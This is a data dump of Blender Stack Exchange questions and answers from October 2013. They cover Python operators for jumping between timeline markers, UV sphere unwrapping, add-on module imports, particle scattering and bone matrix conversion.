  <row Id="3308" PostTypeId="2" ParentId="3304" CreationDate="2013-10-11T23:09:45.380" Score="1" Body="&lt;p&gt;Read about the API change:&lt;br&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Addons#Restricted_Context&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Addons#Restricted_Context&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here I posted an example script to show a possible solution:&lt;br&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/API_Changes#Restricted_Context&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/API_Changes#Restricted_Context&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a hack to circumvent the context restriction:&#xA;Add an app handler for the scene_update_post event, let it remove itself and run the initialization code in the body.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-11T23:09:45.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3309" PostTypeId="1" AcceptedAnswerId="3434" CreationDate="2013-10-12T02:16:37.740" Score="16" ViewCount="5061" Body="&lt;p&gt;I want to be able to cycle through the frames I set markers on (I have cameras bound to each marker so these are usually the first frame in a shot). Is there a hot-key for this?&lt;/p&gt;&#xA;" OwnerUserId="737" LastActivityDate="2015-04-05T20:09:05.613" Title="Is there a hot-key to jump between markers in the timeline?" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3310" PostTypeId="1" CreationDate="2013-10-12T09:21:30.303" Score="3" ViewCount="396" Body="&lt;p&gt;I tracked a sample movie clip and put a cube in the center. It animated quite well, and I was even able to see the video by playing (Render &gt; Play) a set of PNG files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then changed options to export to H.264 and the result was quite bad - it looks like I somehow created a lag between the camera tracking and the video. It seems object on frame X is shown as if the camera is on frame X + 1, so the object moves just slightly ahead of the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I break?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1356" LastActivityDate="2014-08-24T00:27:01.677" Title="Time shift between tracked camera motion and original movie" Tags="&lt;rendering&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3311" PostTypeId="2" ParentId="3298" CreationDate="2013-10-12T10:38:48.887" Score="1" Body="&lt;p&gt;As far as I know, you can't use a mouse button as a &lt;code&gt;key modifier&lt;/code&gt;, but only keyboard keys. (I don't know how you have set up &quot;Button4&quot; in the input)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Button4&quot; is only available in the drop-down list of mouse buttons :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rrarx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-10-12T20:36:31.460" LastActivityDate="2013-10-12T20:36:31.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3312" PostTypeId="1" CreationDate="2013-10-12T13:15:20.790" Score="18" ViewCount="5085" Body="&lt;p&gt;I want to copy one driver to all selected objects at once, but the &quot;copy to selected&quot; function copies solely the current value of driver, and not the driver itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possibility to copy also the driver to all selected objects? &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2019-07-30T19:59:11.833" Title="how to copy drivers to multiple Objects?" Tags="&lt;workflow&gt;&lt;drivers&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3313" PostTypeId="1" CreationDate="2013-10-12T14:42:12.947" Score="10" ViewCount="2073" Body="&lt;p&gt;I would like to &quot;animate&quot; a string custom property (a date), to have the explicit date (&quot;10-05-2005&quot; for example) attached to an object, over the time. Blender says me that my custom string property cannot be animated even if I declare it ANIMATABLE when declaring it like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.Date = bpy.props.StringProperty(name=&quot;Date&quot; options={'ANIMATABLE'})  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Salvatore &lt;/p&gt;&#xA;" OwnerUserId="1314" LastActivityDate="2013-10-14T15:35:00.597" Title="Animate string property" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3314" PostTypeId="1" CreationDate="2013-10-12T18:06:22.747" Score="4" ViewCount="712" Body="&lt;p&gt;Before the question a bit of a &lt;strong&gt;background&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a mesh, and vertex groups as well for it's bones. Before placing the bones, I moved the vertices of the mesh, so every &lt;code&gt;vertex.co += m.translation&lt;/code&gt;, where m was a matrix containing a starting position for each bone. Because Blender is handling bones different then the system I was working on before, I had to do a conversion: while I have points in old system, Blender has &quot;sticks&quot; (what are described with two points: with a head and a tail). I was able to create an armature good enough just by telling Blender that a bone's head is the parent's tail, etc. There was no rotation applied on starting position. The stuff seemed to be fine: I even verified the result in Ultimate Unwrap 3D Pro, and seemed to be all right. So far it was too easy. Then it came for animations...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to do a bit research: made a primitive mesh and armature with a script and started to learn how Blender handles the bones and animations. I learned, that I can use a &lt;code&gt;.matrix&lt;/code&gt; to rotate, and scale the bone relative to the parent. Using translation led to no good, since the bones are connected and so the parent's tail is the inherited's head, so if I would want translation I had to set length of the bone. In my old system everything was different, not just handling the bones. No head or tail, just matrices, so when I say a bone is in &lt;code&gt;m&lt;/code&gt; then all the vertices are to be multiplied with it. &lt;code&gt;m&lt;/code&gt; is not relative to parent, but the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;my question is&lt;/strong&gt; the conversion... let's see only one bone in pose mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two matrices in my old system &lt;code&gt;m1&lt;/code&gt; and &lt;code&gt;m2&lt;/code&gt;, where &lt;code&gt;m1&lt;/code&gt; is parent. I can make a bone in Blender system called &lt;code&gt;b&lt;/code&gt; with a &lt;code&gt;.head&lt;/code&gt; of &lt;code&gt;m1&lt;/code&gt; and &lt;code&gt;.tail&lt;/code&gt; of &lt;code&gt;m2&lt;/code&gt;. Both &lt;code&gt;m1&lt;/code&gt; and &lt;code&gt;m2&lt;/code&gt; contain translation, rotation and scaling. In Blender I think it is like &lt;code&gt;b.head = m1.translation&lt;/code&gt; and I am to point the bone to &lt;code&gt;m2.translation&lt;/code&gt;, but with &lt;code&gt;m1.&lt;/code&gt; rotation and scaling data, but ignoring &lt;code&gt;m2.&lt;/code&gt; translation and scaling, because that is the inherited bone's property. My guess is that I am to modify the rotation value with &lt;code&gt;m2.translation&lt;/code&gt; value somehow, but I do not know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not good enough in BPY yet and Math ever, that is why I would like to ask for help with this.&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="1090" LastEditDate="2013-10-13T09:54:58.127" LastActivityDate="2013-10-13T09:54:58.127" Title="How to get bone rotation between two matrices?" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3315" PostTypeId="1" AcceptedAnswerId="3319" CreationDate="2013-10-13T00:33:27.047" Score="31" ViewCount="33587" Body="&lt;p&gt;I'm trying to unwrap a UV Sphere and I can't seem to get a perfect &lt;a href=&quot;http://en.wikipedia.org/wiki/Mercator_projection&quot; rel=&quot;noreferrer&quot;&gt;Mercator&lt;/a&gt; projection. What process should I follow to get a perfect UV unwrap that looks like the black grid lines in this image?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kY3pf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="599" LastEditDate="2013-10-13T01:41:58.710" LastActivityDate="2017-09-25T16:57:48.927" Title="How to get perfect UV sphere Mercator projection?" Tags="&lt;uv&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3316" PostTypeId="2" ParentId="3309" CreationDate="2013-10-13T00:42:17.100" Score="7" Body="&lt;p&gt;AFAIK, there is currently no shortcut in 2.68 to do this. (there &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Animation/Timeline&quot; rel=&quot;nofollow noreferrer&quot;&gt;was in 2.4x&lt;/a&gt;) However, you can create your own operator to do this using blenders python API:&lt;/p&gt;&#xA;&lt;p&gt;I am not very experienced in python, but I came up with two scripts for jumping to the next and previous markers: (pardon my bad python)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Jump_to_next.py&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;#jump to next marker&#xA;&#xA;class MoveOperator(bpy.types.Operator):  &#xA;    bl_idname = &amp;quot;marker.jump_to_next&amp;quot;  &#xA;    bl_label = &amp;quot;Jump to next marker&amp;quot; &#xA;&#xA;    def execute(self, context):  &#xA;        frm=0&#xA;        frm_close=0&#xA;        frm_first = bpy.context.scene.frame_end&#xA;        def switchcam():&#xA;            if markname:&#xA;                if camname != markname:&#xA;                    for area in bpy.context.screen.areas:&#xA;                        if area.type == 'VIEW_3D':&#xA;                            for space in area.spaces:&#xA;                                if space.type == 'VIEW_3D':&#xA;                                    if space.region_3d.view_perspective == 'CAMERA':&#xA;                                        override = {'window': bpy.context.window, 'screen': bpy.context.screen, 'area': area, 'scene': bpy.context.scene, 'region': bpy.context.region, 'space': space}&#xA;                                        bpy.ops.view3d.viewnumpad(override, type='CAMERA')&#xA;                                        bpy.ops.view3d.viewnumpad(override, type='CAMERA')&#xA;                                    else:&#xA;                                        print (&amp;quot;not in camera view&amp;quot;)&#xA;                                else:&#xA;                                    print (&amp;quot;space is not a 3D view&amp;quot;)&#xA;                        else:&#xA;                            print (&amp;quot;area is not a VIEW_3D&amp;quot;)&#xA;                else:&#xA;                    print (&amp;quot;camera bound to next marker is already active&amp;quot;)&#xA;            else:&#xA;                print (&amp;quot;marker is not bound to a camera&amp;quot;)&#xA;&#xA;        # get some vars:&#xA;        now = bpy.context.scene.frame_current&#xA;        cam = bpy.context.scene.camera&#xA;        if cam:&#xA;            camname = cam.name&#xA;        frm_close = bpy.context.scene.frame_end&#xA;&#xA;        # Loop through markers and test how close to the current frame they are:&#xA;        for TimelineMarker in bpy.context.scene.timeline_markers:&#xA;            frm = TimelineMarker.frame&#xA;            if frm &amp;gt; now:&#xA;                if frm &amp;lt; frm_close:&#xA;                    frm_close = frm&#xA;                    markname = TimelineMarker.camera&#xA;                    if markname:&#xA;                        markname = TimelineMarker.camera.name&#xA;            if frm &amp;lt; frm_first:&#xA;                frm_first = frm&#xA;        #Test if there is a marker that met requirements:&#xA;        if frm_close != bpy.context.scene.frame_end:&#xA;            #set scene frame to the frame of closest marker:&#xA;            bpy.context.scene.frame_set(frm_close)&#xA;            switchcam()&#xA;        else:&#xA;            if frm_first != bpy.context.scene.frame_end:&#xA;                self.report({'INFO'}, 'No more markers to jump to in this direction, skipping to first')&#xA;                bpy.context.scene.frame_set(frm_first)&#xA;            else:&#xA;                self.report({'WARNING'}, 'No markers found')&#xA;        return {'FINISHED'}&#xA;bpy.utils.register_class(MoveOperator)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Jump_to_prev.py&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;#jump to previous marker&#xA;&#xA;class MoveOperator(bpy.types.Operator):  &#xA;    bl_idname = &amp;quot;marker.jump_to_prev&amp;quot;  &#xA;    bl_label = &amp;quot;Jump to previous marker&amp;quot; &#xA;&#xA;    def execute(self, context):  &#xA;        frm=0&#xA;        frm_close=0&#xA;        frm_first=0&#xA;        def switchcam():&#xA;            if markname:&#xA;                if camname != markname:&#xA;                    for area in bpy.context.screen.areas:&#xA;                        if area.type == 'VIEW_3D':&#xA;                            for space in area.spaces:&#xA;                                if space.type == 'VIEW_3D':&#xA;                                    if space.region_3d.view_perspective == 'CAMERA':&#xA;                                        override = {'window': bpy.context.window, 'screen': bpy.context.screen, 'area': area, 'scene': bpy.context.scene, 'region': bpy.context.region, 'space': space}&#xA;                                        bpy.ops.view3d.viewnumpad(override, type='CAMERA')&#xA;                                        bpy.ops.view3d.viewnumpad(override, type='CAMERA')&#xA;                                    else:&#xA;                                        print (&amp;quot;not in camera view&amp;quot;)&#xA;                                else:&#xA;                                    print (&amp;quot;space is not a 3D view&amp;quot;)&#xA;                        else:&#xA;                            print (&amp;quot;area is not a VIEW_3D&amp;quot;)&#xA;                else:&#xA;                    print (&amp;quot;camera bound to next marker is already active&amp;quot;)&#xA;            else:&#xA;                print (&amp;quot;marker is not bound to a camera&amp;quot;)&#xA;&#xA;        # get some vars:&#xA;        now = bpy.context.scene.frame_current&#xA;        cam = bpy.context.scene.camera&#xA;        if cam:&#xA;            camname = cam.name&#xA;&#xA;        # Loop through markers and test how close to the current frame they are:&#xA;        for TimelineMarker in bpy.context.scene.timeline_markers:&#xA;            frm = TimelineMarker.frame&#xA;            if frm &amp;lt; now:&#xA;                if frm &amp;gt; frm_close:&#xA;                    frm_close = frm&#xA;                    markname = TimelineMarker.camera&#xA;                    if markname:&#xA;                        markname = TimelineMarker.camera.name&#xA;            if frm &amp;gt; frm_first:&#xA;                frm_first = frm&#xA;        #Test if there is a marker that met requirements:&#xA;        if frm_close != 0:&#xA;            #set scene frame to the frame of closest marker:&#xA;            bpy.context.scene.frame_set(frm_close)&#xA;            switchcam()&#xA;        else:&#xA;            if frm_first != 0:&#xA;                self.report({'INFO'}, 'No more markers to jump to in this direction, skipping to last')&#xA;                bpy.context.scene.frame_set(frm_first)&#xA;            else:&#xA;                self.report({'WARNING'}, 'No markers found')&#xA;        return {'FINISHED'}&#xA;bpy.utils.register_class(MoveOperator)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can make these into shortcuts by&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Paste into the &lt;em&gt;text editor&lt;/em&gt; and check the &lt;em&gt;Register&lt;/em&gt; option in the header:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hSY7D.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;User Preferences&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;)&lt;em&gt;&amp;gt; Input&lt;/em&gt;, scroll down to the context you want to use the shortcut in (e.g. &lt;em&gt;Timeline&lt;/em&gt;), expand it and click &lt;em&gt;Add new&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type in the operator name (&lt;code&gt;marker.jump_to_next&lt;/code&gt; or &lt;code&gt;marker.jump_to_prev&lt;/code&gt;) and set the shortcut to whatever you want (e.g. &lt;kbd&gt;Page Up&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b4DUT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the default .blend. (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;) This is necessary to save the python script so the operator &lt;code&gt;marker.jump_to_next&lt;/code&gt; exists. &lt;strong&gt;Be careful when saving the default .blend&lt;/strong&gt;, this will save information such as geometry, screen layout, User preferences, etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that you will have to do steps 1-3 twice, once for each operator. (&lt;code&gt;jump_to_next&lt;/code&gt; and &lt;code&gt;jump_to_prev&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-10-16T21:22:59.460" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="3317" PostTypeId="1" AcceptedAnswerId="3320" CreationDate="2013-10-13T01:34:16.493" Score="23" ViewCount="42769" Body="&lt;p&gt;How do I break the selected UV map from its surrounding vertices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q0KHN.png&quot; alt=&quot;UV selection image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2013-10-15T19:19:17.230" LastActivityDate="2021-05-06T12:14:10.087" Title="Separate selected UV map vertices from surrounding vertices" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3318" PostTypeId="2" ParentId="3317" CreationDate="2013-10-13T01:47:45.860" Score="17" Body="&lt;p&gt;Change the Sticky Selection Mode to Disabled in the bottom settings bar, then drag to separate the selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ljTBe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2013-10-13T01:47:45.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3319" PostTypeId="2" ParentId="3315" CreationDate="2013-10-13T02:49:01.720" Score="16" Body="&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newer versions of Blender now come with a &lt;em&gt;Generate UVs&lt;/em&gt; checkbox (that can do as the name says and provides pretty decent maps) when adding a new mesh for most of the objects. Simply access this from the &lt;kbd&gt;F6&lt;/kbd&gt; menu or the toolshelf. &lt;em&gt;This option is only available when generating a new object&lt;/em&gt;. The layout is below, still not perfect but useful nonetheless .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bUGRs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bUGRs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;UV Sphere&lt;/em&gt; to the scene and select an edge with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;, next enter &lt;em&gt;Face selection&lt;/em&gt; mode and select a face near the edge you marked. Next hit &lt;kbd&gt;A&lt;/kbd&gt; to select the entire sphere and hit &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&gt; Follow Active Quads&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkWVi.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note the grayed face near the middle of the sphere along the edge, this means that it had been selected before you selected the entire sphere and this is similar to what you should have done.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After unwrapping, you should get a huge UV map in the &lt;em&gt;Image Editor&lt;/em&gt;. Transform it as desired, I would recommend aligning one corner of the map to a corner of the image and scaling it via the &lt;em&gt;2D Cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rSsMw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A perfectly unwrapped sphere sans exponentially spaced UVs which aren't possible unless you tweak the map afterwards or modify the object's geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WiVAo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You might notice a sharp seam near the top of your sphere where the texture stops. This is caused by the geometry of the sphere as the top vertices merge into a single point and the unwrap method basically ignores it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DyTHQm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, just get an edge ring as close as you can to the middle vertex so that it won't be noticeable.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2017-07-01T16:03:57.070" LastActivityDate="2017-07-01T16:03:57.070" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3320" PostTypeId="2" ParentId="3317" CreationDate="2013-10-13T03:03:41.830" Score="20" Body="&lt;p&gt;You can do this by selecting the face and using &lt;em&gt;Select &gt; Select Split&lt;/em&gt; from the &lt;em&gt;Image Editor&lt;/em&gt; header or the &lt;kbd&gt;Y&lt;/kbd&gt; key, then drag to separate. This method doesn't require you changing the &lt;em&gt;Sticky Selection Mode&lt;/em&gt;, but it does require that you separate &lt;em&gt;at least&lt;/em&gt; one tri. This method does not work for separating a single point or edge.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-10-13T18:11:34.423" LastActivityDate="2013-10-13T18:11:34.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3321" PostTypeId="1" AcceptedAnswerId="3323" CreationDate="2013-10-13T14:02:15.960" Score="7" ViewCount="13187" Body="&lt;p&gt;My addon is in &lt;code&gt;/home/usr/.config/blender/2.68/scripts/addons/foldername&lt;/code&gt;, has an &lt;code&gt;__init__.py&lt;/code&gt; and cannot somehow import parts, that exist in the same folder. It says, &#xA;&lt;code&gt;no module named mymodule&lt;/code&gt; but from text editor it runs and work properly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be wrong here?&lt;/p&gt;&#xA;" OwnerUserId="1429" LastEditorUserId="1429" LastEditDate="2013-10-14T10:51:24.583" LastActivityDate="2020-06-08T20:00:12.580" Title="Blender won't import my custom module, ImportError: No module named mymodule" Tags="&lt;add-on&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3322" PostTypeId="1" AcceptedAnswerId="3334" CreationDate="2013-10-13T18:23:10.980" Score="9" ViewCount="10480" Body="&lt;p&gt;I want to create an abstract rendering of lots of cubes floating in the sky. It would be good if they could also be clustered together. I'm thinking of something sort of like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4NZtY.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Blender have any tools for placing clusters of objects, and randomly scaling them? What's the best process to do this?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2013-10-13T20:46:34.083" LastActivityDate="2013-10-29T15:43:38.350" Title="Randomly place and scale objects?" Tags="&lt;workflow&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3323" PostTypeId="2" ParentId="3321" CreationDate="2013-10-13T20:22:04.010" Score="6" Body="&lt;p&gt;You can place your module into the folder &lt;code&gt;blender_directory/2.68/scripts/modules/&lt;/code&gt; (so Blender can found it automatically), while your addon can stay in the &lt;code&gt;scripts/addons/foldername&lt;/code&gt; folder with its &lt;code&gt;__init__.py&lt;/code&gt; (and &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;__index__.py&lt;/code&gt;, by the way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you can go to &lt;code&gt;User Preferences&lt;/code&gt;, tab &lt;code&gt;File&lt;/code&gt;, and specify a custom extra folder for scripts, in the &lt;code&gt;scripts&lt;/code&gt; input.&lt;br&gt;&#xA;Note that this custom folder must contain 3 sub-directories : &lt;code&gt;addons&lt;/code&gt;, &lt;code&gt;modules&lt;/code&gt;, and &lt;code&gt;startup&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lp873.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, your addon will of course be placed in :&lt;br&gt;&#xA;&lt;code&gt;/home/user/scripts/blender/addons/yourAddon/&lt;/code&gt;,&lt;br&gt;&#xA;and the module(s) you want to import will be into :&lt;br&gt;&#xA;&lt;code&gt;/home/user/scripts/blender/modules/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, &lt;strong&gt;no need&lt;/strong&gt; to use &lt;code&gt;sys.path.append()&lt;/code&gt;!&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-10-13T20:22:04.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3325" PostTypeId="2" ParentId="3322" CreationDate="2013-10-13T21:22:26.170" Score="3" Body="&lt;p&gt;Create a big cube as a particle system and define an cubic (or any shaped object) as particle. Use volume as emitter and turn off &quot;render emitter&quot; and change the default halo to object, select your cube. Play around with the settings in physic for different particle behaviour...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particle size can be randomized as well.&lt;/p&gt;&#xA;" OwnerUserId="639" LastActivityDate="2013-10-13T21:22:26.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3326" PostTypeId="1" CreationDate="2013-10-13T21:45:04.443" Score="5" ViewCount="5541" Body="&lt;p&gt;I started out with the default cube. I went into edit mode and moved the two top, rear vertices up a bit. That's the two positioned in the positive Y-direction. Go to face select mode and select the top face. Press &lt;kbd&gt;E&lt;/kbd&gt; to extrude and drag up just a little. You now have a &quot;birdbox&quot; with a nice roof. I want to have that nice angle in the front end of the roof (negative Y), but I want to have the top, rear end (positive Y) of the roof aligned with the rest of the rear wall. Using &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; on the two rear faces distorts the roof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally when creating roofs like this I also select the front and two side faces (3 faces total) of the roof and use &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;E&lt;/kbd&gt; then &lt;kbd&gt;Esc&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt;, drag to create &quot;overhang&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to slide the top, rear end of the roof until it lines up with the rear wall?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just one example, but I find myself often wanting to either move or extrude until it lines up with other geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above example can be solved by creating a double roof (mirror) and then delete one half later, but that is not really interesting. I hope there is some modeling trick I have missed.&lt;/p&gt;&#xA;" OwnerUserId="1432" LastEditorUserId="2217" LastEditDate="2014-09-18T19:38:41.340" LastActivityDate="2014-09-18T19:38:41.340" Title="How to slide some vertices along a slant, until it lines up vertically with another vertex" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3327" PostTypeId="1" AcceptedAnswerId="3768" CreationDate="2013-10-13T21:47:17.380" Score="13" ViewCount="23422" Body="&lt;p&gt;I am aware of &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; fly, but it's extremely cumbersome having to use the scroll wheel to change the velocity of flight and moving the mouse from the center to spin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to move the viewport camera (not the scene camera) like Unity lets you right click and fly around with WASD and moving the mouse?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="12" LastEditDate="2013-11-09T17:41:06.017" LastActivityDate="2020-05-01T13:45:55.170" Title="How can I navigate my scene FPS style similar to how Unity does?" Tags="&lt;workflow&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
